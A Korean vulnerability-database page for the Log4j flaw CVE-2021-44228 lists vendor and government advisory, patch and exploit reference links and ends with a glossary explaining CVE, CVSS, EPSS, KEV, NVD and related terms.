- 메일링 리스트 · 제3자 권고 http://www.openwall.com/lists/oss-security/2021/12/15/3
- 제3자 권고 https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf
- 제3자 권고 https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf
- 제3자 권고 https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf
- 제3자 권고 https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf
- 제3자 권고 https://github.com/cisagov/log4j-affected-db
- 끊긴 링크 · 제품 페이지 · 미국 정부 자료 https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md
- 공격 코드 · 제3자 권고 https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228
- 메일링 리스트 · 제3자 권고 https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html
- 릴리스 노트 https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/
- 릴리스 노트 https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/
- 릴리스 노트 · 제조사 권고 https://logging.apache.org/log4j/2.x/security.html
- 패치 · 제3자 권고 · 제조사 권고 https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
- 제3자 권고 https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032
- 제3자 권고 https://security.netapp.com/advisory/ntap-20211210-0007/
- 제3자 권고 https://support.apple.com/kb/HT213189
- 제3자 권고 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
- 끊긴 링크 · 공격 코드 · 제3자 권고 https://twitter.com/kurtseifried/status/1469345530182455296
- 제3자 권고 https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001
- 메일링 리스트 · 제3자 권고 https://www.debian.org/security/2021/dsa-5020
- 제3자 권고 https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html
- 제3자 권고 · 미국 정부 자료 https://www.kb.cert.org/vuls/id/930724
- 공격 코드 · 제3자 권고 https://www.nu11secur1ty.com/2021/12/cve-2021-44228.html
- 제3자 권고 https://www.oracle.com/security-alerts/alert-cve-2021-44228.html
- 패치 · 제3자 권고 https://www.oracle.com/security-alerts/cpuapr2022.html
50건만 표시합니다.
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
- CVE 취약점 번호
- 공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
- CVSS 위험도 점수
- 취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
- EPSS 악용 가능성
- 앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
- KEV 실제 악용 확인
- 미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
- 공격 코드 공개된 PoC
- NVD 참고 링크 중 '공격 코드(Exploit)' 표시가 붙은 것이 있다는 뜻입니다. 누구나 공격을 시도해 볼 수 있으므로 서두르는 게 좋지만, 실제 악용이 확인된 것(KEV)과는 다릅니다.
- NVD 미국 취약점 DB
- 미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
- 우선순위 이 사이트의 참고 점수
- CVSS·KEV·랜섬웨어·EPSS·ASEC 언급·공격 코드 공개를 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
- ASEC 안랩 분석 글
- 안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
- CWE 취약점 종류
- 취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
- CPE 영향받는 제품
- 취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
- KB Microsoft 업데이트 번호
- Microsoft 가 업데이트마다 붙이는 번호입니다. 예: KB5068791. '수정된 버전' 은 업데이트 후의 빌드 번호로, 이보다 낮으면 업데이트가 필요합니다.
- 시나리오 · 번역
- '시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.